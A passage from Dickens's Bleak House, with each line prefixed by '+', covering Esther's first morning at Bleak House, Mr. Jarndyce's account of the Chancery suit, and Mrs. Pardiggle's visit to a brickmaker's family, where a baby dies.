+Lady's pillow. I am not sure that it is dark enough yet, but listen!
+Can you hear the sound upon the terrace, through the music, and the
+beat, and everything?"
+
+"I certainly can!"
+
+"So my Lady says."
+
+
+
+
+CHAPTER VIII
+
+Covering a Multitude of Sins
+
+
+It was interesting when I dressed before daylight to peep out of
+window, where my candles were reflected in the black panes like
+two beacons, and finding all beyond still enshrouded in the
+indistinctness of last night, to watch how it turned out when the day
+came on. As the prospect gradually revealed itself and disclosed the
+scene over which the wind had wandered in the dark, like my memory
+over my life, I had a pleasure in discovering the unknown objects
+that had been around me in my sleep. At first they were faintly
+discernible in the mist, and above them the later stars still
+glimmered. That pale interval over, the picture began to enlarge and
+fill up so fast that at every new peep I could have found enough
+to look at for an hour. Imperceptibly my candles became the only
+incongruous part of the morning, the dark places in my room all
+melted away, and the day shone bright upon a cheerful landscape,
+prominent in which the old Abbey Church, with its massive tower,
+threw a softer train of shadow on the view than seemed compatible
+with its rugged character. But so from rough outsides (I hope I have
+learnt), serene and gentle influences often proceed.
+
+Every part of the house was in such order, and every one was so
+attentive to me, that I had no trouble with my two bunches of keys,
+though what with trying to remember the contents of each little
+store-room drawer and cupboard; and what with making notes on a slate
+about jams, and pickles, and preserves, and bottles, and glass, and
+china, and a great many other things; and what with being generally a
+methodical, old-maidish sort of foolish little person, I was so busy
+that I could not believe it was breakfast-time when I heard the bell
+ring. Away I ran, however, and made tea, as I had already been
+installed into the responsibility of the tea-pot; and then, as they
+were all rather late and nobody was down yet, I thought I would take
+a peep at the garden and get some knowledge of that too. I found it
+quite a delightful place--in front, the pretty avenue and drive by
+which we had approached (and where, by the by, we had cut up the
+gravel so terribly with our wheels that I asked the gardener to roll
+it); at the back, the flower-garden, with my darling at her window up
+there, throwing it open to smile out at me, as if she would have
+kissed me from that distance. Beyond the flower-garden was a
+kitchen-garden, and then a paddock, and then a snug little rick-yard,
+and then a dear little farm-yard. As to the house itself, with its
+three peaks in the roof; its various-shaped windows, some so large,
+some so small, and all so pretty; its trellis-work, against the
+south-front for roses and honey-suckle, and its homely, comfortable,
+welcoming look--it was, as Ada said when she came out to meet me with
+her arm through that of its master, worthy of her cousin John, a bold
+thing to say, though he only pinched her dear cheek for it.
+
+Mr. Skimpole was as agreeable at breakfast as he had been overnight.
+There was honey on the table, and it led him into a discourse about
+bees. He had no objection to honey, he said (and I should think he
+had not, for he seemed to like it), but he protested against the
+overweening assumptions of bees. He didn't at all see why the busy
+bee should be proposed as a model to him; he supposed the bee liked
+to make honey, or he wouldn't do it--nobody asked him. It was not
+necessary for the bee to make such a merit of his tastes. If every
+confectioner went buzzing about the world banging against everything
+that came in his way and egotistically calling upon everybody to take
+notice that he was going to his work and must not be interrupted, the
+world would be quite an unsupportable place. Then, after all, it was
+a ridiculous position to be smoked out of your fortune with brimstone
+as soon as you had made it. You would have a very mean opinion of a
+Manchester man if he spun cotton for no other purpose. He must say he
+thought a drone the embodiment of a pleasanter and wiser idea. The
+drone said unaffectedly, "You will excuse me; I really cannot attend
+to the shop! I find myself in a world in which there is so much to
+see and so short a time to see it in that I must take the liberty of
+looking about me and begging to be provided for by somebody who
+doesn't want to look about him." This appeared to Mr. Skimpole to be
+the drone philosophy, and he thought it a very good philosophy,
+always supposing the drone to be willing to be on good terms with the
+bee, which, so far as he knew, the easy fellow always was, if the
+consequential creature would only let him, and not be so conceited
+about his honey!
+
+He pursued this fancy with the lightest foot over a variety of ground
+and made us all merry, though again he seemed to have as serious a
+meaning in what he said as he was capable of having. I left them
+still listening to him when I withdrew to attend to my new duties.
+They had occupied me for some time, and I was passing through the
+passages on my return with my basket of keys on my arm when Mr.
+Jarndyce called me into a small room next his bed-chamber, which I
+found to be in part a little library of books and papers and in part
+quite a little museum of his boots and shoes and hat-boxes.
+
+"Sit down, my dear," said Mr. Jarndyce. "This, you must know, is the
+growlery. When I am out of humour, I come and growl here."
+
+"You must be here very seldom, sir," said I.
+
+"Oh, you don't know me!" he returned. "When I am deceived or
+disappointed in--the wind, and it's easterly, I take refuge here. The
+growlery is the best-used room in the house. You are not aware of
+half my humours yet. My dear, how you are trembling!"
+
+I could not help it; I tried very hard, but being alone with that
+benevolent presence, and meeting his kind eyes, and feeling so happy
+and so honoured there, and my heart so full--I kissed his hand. I
+don't know what I said, or even that I spoke. He was disconcerted and
+walked to the window; I almost believed with an intention of jumping
+out, until he turned and I was reassured by seeing in his eyes what
+he had gone there to hide. He gently patted me on the head, and I sat
+down.
+
+"There! There!" he said. "That's over. Pooh! Don't be foolish."
+
+"It shall not happen again, sir," I returned, "but at first it is
+difficult--"
+
+"Nonsense!" he said. "It's easy, easy. Why not? I hear of a good
+little orphan girl without a protector, and I take it into my head to
+be that protector. She grows up, and more than justifies my good
+opinion, and I remain her guardian and her friend. What is there in
+all this? So, so! Now, we have cleared off old scores, and I have
+before me thy pleasant, trusting, trusty face again."
+
+I said to myself, "Esther, my dear, you surprise me! This really is
+not what I expected of you!" And it had such a good effect that I
+folded my hands upon my basket and quite recovered myself. Mr.
+Jarndyce, expressing his approval in his face, began to talk to me as
+confidentially as if I had been in the habit of conversing with him
+every morning for I don't know how long. I almost felt as if I had.
+
+"Of course, Esther," he said, "you don't understand this Chancery
+business?"
+
+And of course I shook my head.
+
+"I don't know who does," he returned. "The lawyers have twisted it
+into such a state of bedevilment that the original merits of the case
+have long disappeared from the face of the earth. It's about a will
+and the trusts under a will--or it was once. It's about nothing but
+costs now. We are always appearing, and disappearing, and swearing,
+and interrogating, and filing, and cross-filing, and arguing, and
+sealing, and motioning, and referring, and reporting, and revolving
+about the Lord Chancellor and all his satellites, and equitably
+waltzing ourselves off to dusty death, about costs. That's the great
+question. All the rest, by some extraordinary means, has melted
+away."
+
+"But it was, sir," said I, to bring him back, for he began to rub his
+head, "about a will?"
+
+"Why, yes, it was about a will when it was about anything," he
+returned. "A certain Jarndyce, in an evil hour, made a great fortune,
+and made a great will. In the question how the trusts under that will
+are to be administered, the fortune left by the will is squandered
+away; the legatees under the will are reduced to such a miserable
+condition that they would be sufficiently punished if they had
+committed an enormous crime in having money left them, and the will
+itself is made a dead letter. All through the deplorable cause,
+everything that everybody in it, except one man, knows already is
+referred to that only one man who don't know, it to find out--all
+through the deplorable cause, everybody must have copies, over and
+over again, of everything that has accumulated about it in the way of
+cartloads of papers (or must pay for them without having them, which
+is the usual course, for nobody wants them) and must go down the
+middle and up again through such an infernal country-dance of costs
+and fees and nonsense and corruption as was never dreamed of in the
+wildest visions of a witch's Sabbath. Equity sends questions to law,
+law sends questions back to equity; law finds it can't do this,
+equity finds it can't do that; neither can so much as say it can't
+do anything, without this solicitor instructing and this counsel
+appearing for A, and that solicitor instructing and that counsel
+appearing for B; and so on through the whole alphabet, like the
+history of the apple pie. And thus, through years and years, and
+lives and lives, everything goes on, constantly beginning over and
+over again, and nothing ever ends. And we can't get out of the suit
+on any terms, for we are made parties to it, and MUST BE parties to
+it, whether we like it or not. But it won't do to think of it! When
+my great uncle, poor Tom Jarndyce, began to think of it, it was the
+beginning of the end!"
+
+"The Mr. Jarndyce, sir, whose story I have heard?"
+
+He nodded gravely. "I was his heir, and this was his house, Esther.
+When I came here, it was bleak indeed. He had left the signs of his
+misery upon it."
+
+"How changed it must be now!" I said.
+
+"It had been called, before his time, the Peaks. He gave it its
+present name and lived here shut up, day and night poring over the
+wicked heaps of papers in the suit and hoping against hope to
+disentangle it from its mystification and bring it to a close. In the
+meantime, the place became dilapidated, the wind whistled through the
+cracked walls, the rain fell through the broken roof, the weeds
+choked the passage to the rotting door. When I brought what remained
+of him home here, the brains seemed to me to have been blown out of
+the house too, it was so shattered and ruined."
+
+He walked a little to and fro after saying this to himself with a
+shudder, and then looked at me, and brightened, and came and sat down
+again with his hands in his pockets.
+
+"I told you this was the growlery, my dear. Where was I?"
+
+I reminded him, at the hopeful change he had made in Bleak House.
+
+"Bleak House; true. There is, in that city of London there, some
+property of ours which is much at this day what Bleak House was then;
+I say property of ours, meaning of the suit's, but I ought to call it
+the property of costs, for costs is the only power on earth that will
+ever get anything out of it now or will ever know it for anything but
+an eyesore and a heartsore. It is a street of perishing blind houses,
+with their eyes stoned out, without a pane of glass, without so much
+as a window-frame, with the bare blank shutters tumbling from their
+hinges and falling asunder, the iron rails peeling away in flakes of
+rust, the chimneys sinking in, the stone steps to every door (and
+every door might be death's door) turning stagnant green, the very
+crutches on which the ruins are propped decaying. Although Bleak
+House was not in Chancery, its master was, and it was stamped with
+the same seal. These are the Great Seal's impressions, my dear, all
+over England--the children know them!"
+
+"How changed it is!" I said again.
+
+"Why, so it is," he answered much more cheerfully; "and it is wisdom
+in you to keep me to the bright side of the picture." (The idea of my
+wisdom!) "These are things I never talk about or even think about,
+excepting in the growlery here. If you consider it right to mention
+them to Rick and Ada," looking seriously at me, "you can. I leave it
+to your discretion, Esther."
+
+"I hope, sir--" said I.
+
+"I think you had better call me guardian, my dear."
+
+I felt that I was choking again--I taxed myself with it, "Esther,
+now, you know you are!"--when he feigned to say this slightly, as if
+it were a whim instead of a thoughtful tenderness. But I gave the
+housekeeping keys the least shake in the world as a reminder to
+myself, and folding my hands in a still more determined manner on the
+basket, looked at him quietly.
+
+"I hope, guardian," said I, "that you may not trust too much to my
+discretion. I hope you may not mistake me. I am afraid it will be a
+disappointment to you to know that I am not clever, but it really is
+the truth, and you would soon find it out if I had not the honesty to
+confess it."
+
+He did not seem at all disappointed; quite the contrary. He told me,
+with a smile all over his face, that he knew me very well indeed and
+that I was quite clever enough for him.
+
+"I hope I may turn out so," said I, "but I am much afraid of it,
+guardian."
+
+"You are clever enough to be the good little woman of our lives here,
+my dear," he returned playfully; "the little old woman of the child's
+(I don't mean Skimpole's) rhyme:
+
+
+   "'Little old woman, and whither so high?'
+    'To sweep the cobwebs out of the sky.'
+
+
+"You will sweep them so neatly out of OUR sky in the course of your
+housekeeping, Esther, that one of these days we shall have to abandon
+the growlery and nail up the door."
+
+This was the beginning of my being called Old Woman, and Little Old
+Woman, and Cobweb, and Mrs. Shipton, and Mother Hubbard, and Dame
+Durden, and so many names of that sort that my own name soon became
+quite lost among them.
+
+"However," said Mr. Jarndyce, "to return to our gossip. Here's Rick,
+a fine young fellow full of promise. What's to be done with him?"
+
+Oh, my goodness, the idea of asking my advice on such a point!
+
+"Here he is, Esther," said Mr. Jarndyce, comfortably putting his
+hands into his pockets and stretching out his legs. "He must have a
+profession; he must make some choice for himself. There will be a
+world more wiglomeration about it, I suppose, but it must be done."
+
+"More what, guardian?" said I.
+
+"More wiglomeration," said he. "It's the only name I know for the
+thing. He is a ward in Chancery, my dear. Kenge and Carboy will have
+something to say about it; Master Somebody--a sort of ridiculous
+sexton, digging graves for the merits of causes in a back room at the
+end of Quality Court, Chancery Lane--will have something to say about
+it; counsel will have something to say about it; the Chancellor will
+have something to say about it; the satellites will have something to
+say about it; they will all have to be handsomely feed, all round,
+about it; the whole thing will be vastly ceremonious, wordy,
+unsatisfactory, and expensive, and I call it, in general,
+wiglomeration. How mankind ever came to be afflicted with
+wiglomeration, or for whose sins these young people ever fell into a
+pit of it, I don't know; so it is."
+
+He began to rub his head again and to hint that he felt the wind. But
+it was a delightful instance of his kindness towards me that whether
+he rubbed his head, or walked about, or did both, his face was sure
+to recover its benignant expression as it looked at mine; and he was
+sure to turn comfortable again and put his hands in his pockets and
+stretch out his legs.
+
+"Perhaps it would be best, first of all," said I, "to ask Mr. Richard
+what he inclines to himself."
+
+"Exactly so," he returned. "That's what I mean! You know, just
+accustom yourself to talk it over, with your tact and in your quiet
+way, with him and Ada, and see what you all make of it. We are sure
+to come at the heart of the matter by your means, little woman."
+
+I really was frightened at the thought of the importance I was
+attaining and the number of things that were being confided to me. I
+had not meant this at all; I had meant that he should speak to
+Richard. But of course I said nothing in reply except that I would do
+my best, though I feared (I really felt it necessary to repeat this)
+that he thought me much more sagacious than I was. At which my
+guardian only laughed the pleasantest laugh I ever heard.
+
+"Come!" he said, rising and pushing back his chair. "I think we may
+have done with the growlery for one day! Only a concluding word.
+Esther, my dear, do you wish to ask me anything?"
+
+He looked so attentively at me that I looked attentively at him and
+felt sure I understood him.
+
+"About myself, sir?" said I.
+
+"Yes."
+
+"Guardian," said I, venturing to put my hand, which was suddenly
+colder than I could have wished, in his, "nothing! I am quite sure
+that if there were anything I ought to know or had any need to know,
+I should not have to ask you to tell it to me. If my whole reliance
+and confidence were not placed in you, I must have a hard heart
+indeed. I have nothing to ask you, nothing in the world."
+
+He drew my hand through his arm and we went away to look for Ada.
+From that hour I felt quite easy with him, quite unreserved, quite
+content to know no more, quite happy.
+
+We lived, at first, rather a busy life at Bleak House, for we had to
+become acquainted with many residents in and out of the neighbourhood
+who knew Mr. Jarndyce. It seemed to Ada and me that everybody knew
+him who wanted to do anything with anybody else's money. It amazed us
+when we began to sort his letters and to answer some of them for him
+in the growlery of a morning to find how the great object of the
+lives of nearly all his correspondents appeared to be to form
+themselves into committees for getting in and laying out money. The
+ladies were as desperate as the gentlemen; indeed, I think they were
+even more so. They threw themselves into committees in the most
+impassioned manner and collected subscriptions with a vehemence quite
+extraordinary. It appeared to us that some of them must pass their
+whole lives in dealing out subscription-cards to the whole
+post-office directory--shilling cards, half-crown cards,
+half-sovereign cards, penny cards. They wanted everything. They
+wanted wearing apparel, they wanted linen rags, they wanted money,
+they wanted coals, they wanted soup, they wanted interest, they
+wanted autographs, they wanted flannel, they wanted whatever Mr.
+Jarndyce had--or had not. Their objects were as various as their
+demands. They were going to raise new buildings, they were going to
+pay off debts on old buildings, they were going to establish in a
+picturesque building (engraving of proposed west elevation attached)
+the Sisterhood of Mediaeval Marys, they were going to give a
+testimonial to Mrs. Jellyby, they were going to have their
+secretary's portrait painted and presented to his mother-in-law,
+whose deep devotion to him was well known, they were going to get up
+everything, I really believe, from five hundred thousand tracts to an
+annuity and from a marble monument to a silver tea-pot. They took a
+multitude of titles. They were the Women of England, the Daughters of
+Britain, the Sisters of all the cardinal virtues separately, the
+Females of America, the Ladies of a hundred denominations. They
+appeared to be always excited about canvassing and electing. They
+seemed to our poor wits, and according to their own accounts, to be
+constantly polling people by tens of thousands, yet never bringing
+their candidates in for anything. It made our heads ache to think, on
+the whole, what feverish lives they must lead.
+
+Among the ladies who were most distinguished for this rapacious
+benevolence (if I may use the expression) was a Mrs. Pardiggle, who
+seemed, as I judged from the number of her letters to Mr. Jarndyce,
+to be almost as powerful a correspondent as Mrs. Jellyby herself. We
+observed that the wind always changed when Mrs. Pardiggle became the
+subject of conversation and that it invariably interrupted Mr.
+Jarndyce and prevented his going any farther, when he had remarked
+that there were two classes of charitable people; one, the people who
+did a little and made a great deal of noise; the other, the people
+who did a great deal and made no noise at all. We were therefore
+curious to see Mrs. Pardiggle, suspecting her to be a type of the
+former class, and were glad when she called one day with her five
+young sons.
+
+She was a formidable style of lady with spectacles, a prominent nose,
+and a loud voice, who had the effect of wanting a great deal of room.
+And she really did, for she knocked down little chairs with her
+skirts that were quite a great way off. As only Ada and I were at
+home, we received her timidly, for she seemed to come in like cold
+weather and to make the little Pardiggles blue as they followed.
+
+"These, young ladies," said Mrs. Pardiggle with great volubility
+after the first salutations, "are my five boys. You may have seen
+their names in a printed subscription list (perhaps more than one) in
+the possession of our esteemed friend Mr. Jarndyce. Egbert, my eldest
+(twelve), is the boy who sent out his pocket-money, to the amount of
+five and threepence, to the Tockahoopo Indians. Oswald, my second
+(ten and a half), is the child who contributed two and nine-pence to
+the Great National Smithers Testimonial. Francis, my third (nine),
+one and sixpence halfpenny; Felix, my fourth (seven), eightpence to
+the Superannuated Widows; Alfred, my youngest (five), has voluntarily
+enrolled himself in the Infant Bonds of Joy, and is pledged never,
+through life, to use tobacco in any form."
+
+We had never seen such dissatisfied children. It was not merely that
+they were weazened and shrivelled--though they were certainly that
+too--but they looked absolutely ferocious with discontent. At the
+mention of the Tockahoopo Indians, I could really have supposed
+Egbert to be one of the most baleful members of that tribe, he gave
+me such a savage frown. The face of each child, as the amount of his
+contribution was mentioned, darkened in a peculiarly vindictive
+manner, but his was by far the worst. I must except, however, the
+little recruit into the Infant Bonds of Joy, who was stolidly and
+evenly miserable.
+
+"You have been visiting, I understand," said Mrs. Pardiggle, "at Mrs.
+Jellyby's?"
+
+We said yes, we had passed one night there.
+
+"Mrs. Jellyby," pursued the lady, always speaking in the same
+demonstrative, loud, hard tone, so that her voice impressed my fancy
+as if it had a sort of spectacles on too--and I may take the
+opportunity of remarking that her spectacles were made the less
+engaging by her eyes being what Ada called "choking eyes," meaning
+very prominent--"Mrs. Jellyby is a benefactor to society and deserves
+a helping hand. My boys have contributed to the African
+project--Egbert, one and six, being the entire allowance of nine
+weeks; Oswald, one and a penny halfpenny, being the same; the rest,
+according to their little means. Nevertheless, I do not go with Mrs.
+Jellyby in all things. I do not go with Mrs. Jellyby in her treatment
+of her young family. It has been noticed. It has been observed that
+her young family are excluded from participation in the objects to
+which she is devoted. She may be right, she may be wrong; but, right
+or wrong, this is not my course with MY young family. I take them
+everywhere."
+
+I was afterwards convinced (and so was Ada) that from the
+ill-conditioned eldest child, these words extorted a sharp yell. He
+turned it off into a yawn, but it began as a yell.
+
+"They attend matins with me (very prettily done) at half-past six
+o'clock in the morning all the year round, including of course the
+depth of winter," said Mrs. Pardiggle rapidly, "and they are with me
+during the revolving duties of the day. I am a School lady, I am a
+Visiting lady, I am a Reading lady, I am a Distributing lady; I am on
+the local Linen Box Committee and many general committees; and my
+canvassing alone is very extensive--perhaps no one's more so. But
+they are my companions everywhere; and by these means they acquire
+that knowledge of the poor, and that capacity of doing charitable
+business in general--in short, that taste for the sort of
+thing--which will render them in after life a service to their
+neighbours and a satisfaction to themselves. My young family are not
+frivolous; they expend the entire amount of their allowance in
+subscriptions, under my direction; and they have attended as many
+public meetings and listened to as many lectures, orations, and
+discussions as generally fall to the lot of few grown people. Alfred
+(five), who, as I mentioned, has of his own election joined the
+Infant Bonds of Joy, was one of the very few children who manifested
+consciousness on that occasion after a fervid address of two hours
+from the chairman of the evening."
+
+Alfred glowered at us as if he never could, or would, forgive the
+injury of that night.
+
+"You may have observed, Miss Summerson," said Mrs. Pardiggle, "in
+some of the lists to which I have referred, in the possession of our
+esteemed friend Mr. Jarndyce, that the names of my young family are
+concluded with the name of O. A. Pardiggle, F.R.S., one pound. That
+is their father. We usually observe the same routine. I put down my
+mite first; then my young family enrol their contributions, according
+to their ages and their little means; and then Mr. Pardiggle brings
+up the rear. Mr. Pardiggle is happy to throw in his limited donation,
+under my direction; and thus things are made not only pleasant to
+ourselves, but, we trust, improving to others."
+
+Suppose Mr. Pardiggle were to dine with Mr. Jellyby, and suppose Mr.
+Jellyby were to relieve his mind after dinner to Mr. Pardiggle, would
+Mr. Pardiggle, in return, make any confidential communication to Mr.
+Jellyby? I was quite confused to find myself thinking this, but it
+came into my head.
+
+"You are very pleasantly situated here!" said Mrs. Pardiggle.
+
+We were glad to change the subject, and going to the window, pointed
+out the beauties of the prospect, on which the spectacles appeared to
+me to rest with curious indifference.
+
+"You know Mr. Gusher?" said our visitor.
+
+We were obliged to say that we had not the pleasure of Mr. Gusher's
+acquaintance.
+
+"The loss is yours, I assure you," said Mrs. Pardiggle with her
+commanding deportment. "He is a very fervid, impassioned
+speaker--full of fire! Stationed in a waggon on this lawn, now,
+which, from the shape of the land, is naturally adapted to a public
+meeting, he would improve almost any occasion you could mention for
+hours and hours! By this time, young ladies," said Mrs. Pardiggle,
+moving back to her chair and overturning, as if by invisible agency,
+a little round table at a considerable distance with my work-basket
+on it, "by this time you have found me out, I dare say?"
+
+This was really such a confusing question that Ada looked at me in
+perfect dismay. As to the guilty nature of my own consciousness after
+what I had been thinking, it must have been expressed in the colour
+of my cheeks.
+
+"Found out, I mean," said Mrs. Pardiggle, "the prominent point in my
+character. I am aware that it is so prominent as to be discoverable
+immediately. I lay myself open to detection, I know. Well! I freely
+admit, I am a woman of business. I love hard work; I enjoy hard work.
+The excitement does me good. I am so accustomed and inured to hard
+work that I don't know what fatigue is."
+
+We murmured that it was very astonishing and very gratifying, or
+something to that effect. I don't think we knew what it was either,
+but this is what our politeness expressed.
+
+"I do not understand what it is to be tired; you cannot tire me if
+you try!" said Mrs. Pardiggle. "The quantity of exertion (which is no
+exertion to me), the amount of business (which I regard as nothing),
+that I go through sometimes astonishes myself. I have seen my young
+family, and Mr. Pardiggle, quite worn out with witnessing it, when I
+may truly say I have been as fresh as a lark!"
+
+If that dark-visaged eldest boy could look more malicious than he had
+already looked, this was the time when he did it. I observed that he
+doubled his right fist and delivered a secret blow into the crown of
+his cap, which was under his left arm.
+
+"This gives me a great advantage when I am making my rounds," said
+Mrs. Pardiggle. "If I find a person unwilling to hear what I have to
+say, I tell that person directly, 'I am incapable of fatigue, my good
+friend, I am never tired, and I mean to go on until I have done.' It
+answers admirably! Miss Summerson, I hope I shall have your
+assistance in my visiting rounds immediately, and Miss Clare's very
+soon."
+
+At first I tried to excuse myself for the present on the general
+ground of having occupations to attend to which I must not neglect.
+But as this was an ineffectual protest, I then said, more
+particularly, that I was not sure of my qualifications. That I was
+inexperienced in the art of adapting my mind to minds very
+differently situated, and addressing them from suitable points of
+view. That I had not that delicate knowledge of the heart which must
+be essential to such a work. That I had much to learn, myself, before
+I could teach others, and that I could not confide in my good
+intentions alone. For these reasons I thought it best to be as useful
+as I could, and to render what kind services I could to those
+immediately about me, and to try to let that circle of duty gradually
+and naturally expand itself. All this I said with anything but
+confidence, because Mrs. Pardiggle was much older than I, and had
+great experience, and was so very military in her manners.
+
+"You are wrong, Miss Summerson," said she, "but perhaps you are not
+equal to hard work or the excitement of it, and that makes a vast
+difference. If you would like to see how I go through my work, I am
+now about--with my young family--to visit a brickmaker in the
+neighbourhood (a very bad character) and shall be glad to take you
+with me. Miss Clare also, if she will do me the favour."
+
+Ada and I interchanged looks, and as we were going out in any case,
+accepted the offer. When we hastily returned from putting on our
+bonnets, we found the young family languishing in a corner and Mrs.
+Pardiggle sweeping about the room, knocking down nearly all the light
+objects it contained. Mrs. Pardiggle took possession of Ada, and I
+followed with the family.
+
+Ada told me afterwards that Mrs. Pardiggle talked in the same loud
+tone (that, indeed, I overheard) all the way to the brickmaker's
+about an exciting contest which she had for two or three years waged
+against another lady relative to the bringing in of their rival
+candidates for a pension somewhere. There had been a quantity of
+printing, and promising, and proxying, and polling, and it appeared
+to have imparted great liveliness to all concerned, except the
+pensioners--who were not elected yet.
+
+I am very fond of being confided in by children and am happy in being
+usually favoured in that respect, but on this occasion it gave me
+great uneasiness. As soon as we were out of doors, Egbert, with the
+manner of a little footpad, demanded a shilling of me on the ground
+that his pocket-money was "boned" from him. On my pointing out the
+great impropriety of the word, especially in connexion with his
+parent (for he added sulkily "By her!"), he pinched me and said, "Oh,
+then! Now! Who are you! YOU wouldn't like it, I think? What does she
+make a sham for, and pretend to give me money, and take it away
+again? Why do you call it my allowance, and never let me spend it?"
+These exasperating questions so inflamed his mind and the minds of
+Oswald and Francis that they all pinched me at once, and in a
+dreadfully expert way--screwing up such little pieces of my arms that
+I could hardly forbear crying out. Felix, at the same time, stamped
+upon my toes. And the Bond of Joy, who on account of always having
+the whole of his little income anticipated stood in fact pledged to
+abstain from cakes as well as tobacco, so swelled with grief and rage
+when we passed a pastry-cook's shop that he terrified me by becoming
+purple. I never underwent so much, both in body and mind, in the
+course of a walk with young people as from these unnaturally
+constrained children when they paid me the compliment of being
+natural.
+
+I was glad when we came to the brickmaker's house, though it was one
+of a cluster of wretched hovels in a brick-field, with pigsties close
+to the broken windows and miserable little gardens before the doors
+growing nothing but stagnant pools. Here and there an old tub was put
+to catch the droppings of rain-water from a roof, or they were banked
+up with mud into a little pond like a large dirt-pie. At the doors
+and windows some men and women lounged or prowled about, and took
+little notice of us except to laugh to one another or to say
+something as we passed about gentlefolks minding their own business
+and not troubling their heads and muddying their shoes with coming to
+look after other people's.
+
+Mrs. Pardiggle, leading the way with a great show of moral
+determination and talking with much volubility about the untidy
+habits of the people (though I doubted if the best of us could have
+been tidy in such a place), conducted us into a cottage at the
+farthest corner, the ground-floor room of which we nearly filled.
+Besides ourselves, there were in this damp, offensive room a woman
+with a black eye, nursing a poor little gasping baby by the fire; a
+man, all stained with clay and mud and looking very dissipated, lying
+at full length on the ground, smoking a pipe; a powerful young man
+fastening a collar on a dog; and a bold girl doing some kind of
+washing in very dirty water. They all looked up at us as we came in,
+and the woman seemed to turn her face towards the fire as if to hide
+her bruised eye; nobody gave us any welcome.
+
+"Well, my friends," said Mrs. Pardiggle, but her voice had not a
+friendly sound, I thought; it was much too business-like and
+systematic. "How do you do, all of you? I am here again. I told you,
+you couldn't tire me, you know. I am fond of hard work, and am true
+to my word."
+
+"There an't," growled the man on the floor, whose head rested on his
+hand as he stared at us, "any more on you to come in, is there?"
+
+"No, my friend," said Mrs. Pardiggle, seating herself on one stool
+and knocking down another. "We are all here."
+
+"Because I thought there warn't enough of you, perhaps?" said the
+man, with his pipe between his lips as he looked round upon us.
+
+The young man and the girl both laughed. Two friends of the young
+man, whom we had attracted to the doorway and who stood there with
+their hands in their pockets, echoed the laugh noisily.
+
+"You can't tire me, good people," said Mrs. Pardiggle to these
+latter. "I enjoy hard work, and the harder you make mine, the better
+I like it."
+
+"Then make it easy for her!" growled the man upon the floor. "I wants
+it done, and over. I wants a end of these liberties took with my
+place. I wants an end of being drawed like a badger. Now you're
+a-going to poll-pry and question according to custom--I know what
+you're a-going to be up to. Well! You haven't got no occasion to be
+up to it. I'll save you the trouble. Is my daughter a-washin? Yes,
+she IS a-washin. Look at the water. Smell it! That's wot we drinks.
+How do you like it, and what do you think of gin instead! An't my
+place dirty? Yes, it is dirty--it's nat'rally dirty, and it's
+nat'rally onwholesome; and we've had five dirty and onwholesome
+children, as is all dead infants, and so much the better for them,
+and for us besides. Have I read the little book wot you left? No, I
+an't read the little book wot you left. There an't nobody here as
+knows how to read it; and if there wos, it wouldn't be suitable to
+me. It's a book fit for a babby, and I'm not a babby. If you was to
+leave me a doll, I shouldn't nuss it. How have I been conducting of
+myself? Why, I've been drunk for three days; and I'da been drunk four
+if I'da had the money. Don't I never mean for to go to church? No, I
+don't never mean for to go to church. I shouldn't be expected there,
+if I did; the beadle's too gen-teel for me. And how did my wife get
+that black eye? Why, I give it her; and if she says I didn't, she's a
+lie!"
+
+He had pulled his pipe out of his mouth to say all this, and he now
+turned over on his other side and smoked again. Mrs. Pardiggle, who
+had been regarding him through her spectacles with a forcible
+composure, calculated, I could not help thinking, to increase his
+antagonism, pulled out a good book as if it were a constable's staff
+and took the whole family into custody. I mean into religious
+custody, of course; but she really did it as if she were an
+inexorable moral policeman carrying them all off to a station-house.
+
+Ada and I were very uncomfortable. We both felt intrusive and out of
+place, and we both thought that Mrs. Pardiggle would have got on
+infinitely better if she had not had such a mechanical way of taking
+possession of people. The children sulked and stared; the family took
+no notice of us whatever, except when the young man made the dog
+bark, which he usually did when Mrs. Pardiggle was most emphatic. We
+both felt painfully sensible that between us and these people there
+was an iron barrier which could not be removed by our new friend. By
+whom or how it could be removed, we did not know, but we knew that.
+Even what she read and said seemed to us to be ill-chosen for such
+auditors, if it had been imparted ever so modestly and with ever so
+much tact. As to the little book to which the man on the floor had
+referred, we acquired a knowledge of it afterwards, and Mr. Jarndyce
+said he doubted if Robinson Crusoe could have read it, though he had
+had no other on his desolate island.
+
+We were much relieved, under these circumstances, when Mrs. Pardiggle
+left off.
+
+The man on the floor, then turning his head round again, said
+morosely, "Well! You've done, have you?"
+
+"For to-day, I have, my friend. But I am never fatigued. I shall come
+to you again in your regular order," returned Mrs. Pardiggle with
+demonstrative cheerfulness.
+
+"So long as you goes now," said he, folding his arms and shutting his
+eyes with an oath, "you may do wot you like!"
+
+Mrs. Pardiggle accordingly rose and made a little vortex in the
+confined room from which the pipe itself very narrowly escaped.
+Taking one of her young family in each hand, and telling the others
+to follow closely, and expressing her hope that the brickmaker and
+all his house would be improved when she saw them next, she then
+proceeded to another cottage. I hope it is not unkind in me to say
+that she certainly did make, in this as in everything else, a show
+that was not conciliatory of doing charity by wholesale and of
+dealing in it to a large extent.
+
+She supposed that we were following her, but as soon as the space was
+left clear, we approached the woman sitting by the fire to ask if the
+baby were ill.
+
+She only looked at it as it lay on her lap. We had observed before
+that when she looked at it she covered her discoloured eye with her
+hand, as though she wished to separate any association with noise and
+violence and ill treatment from the poor little child.
+
+Ada, whose gentle heart was moved by its appearance, bent down to
+touch its little face. As she did so, I saw what happened and drew
+her back. The child died.
+
+"Oh, Esther!" cried Ada, sinking on her knees beside it. "Look here!
+Oh, Esther, my love, the little thing! The suffering, quiet, pretty
+little thing! I am so sorry for it. I am so sorry for the mother. I
+never saw a sight so pitiful as this before! Oh, baby, baby!"
+
+Such compassion, such gentleness, as that with which she bent down
+weeping and put her hand upon the mother's might have softened any
+mother's heart that ever beat. The woman at first gazed at her in
+astonishment and then burst into tears.
+
+Presently I took the light burden from her lap, did what I could to
+make the baby's rest the prettier and gentler, laid it on a shelf,
+and covered it with my own handkerchief. We tried to comfort the
+mother, and we whispered to her what Our Saviour said of children.
+She answered nothing, but sat weeping--weeping very much.
+
+When I turned, I found that the young man had taken out the dog and
+was standing at the door looking in upon us with dry eyes, but quiet.
+The girl was quiet too and sat in a corner looking on the ground. The
+man had risen. He still smoked his pipe with an air of defiance, but
+he was silent.
+
+An ugly woman, very poorly clothed, hurried in while I was glancing
+at them, and coming straight up to the mother, said, "Jenny! Jenny!"
+The mother rose on being so addressed and fell upon the woman's neck.
+
+She also had upon her face and arms the marks of ill usage. She had
+no kind of grace about her, but the grace of sympathy; but when she
+condoled with the woman, and her own tears fell, she wanted no
+beauty. I say condoled, but her only words were "Jenny! Jenny!" All
+the rest was in the tone in which she said them.
+
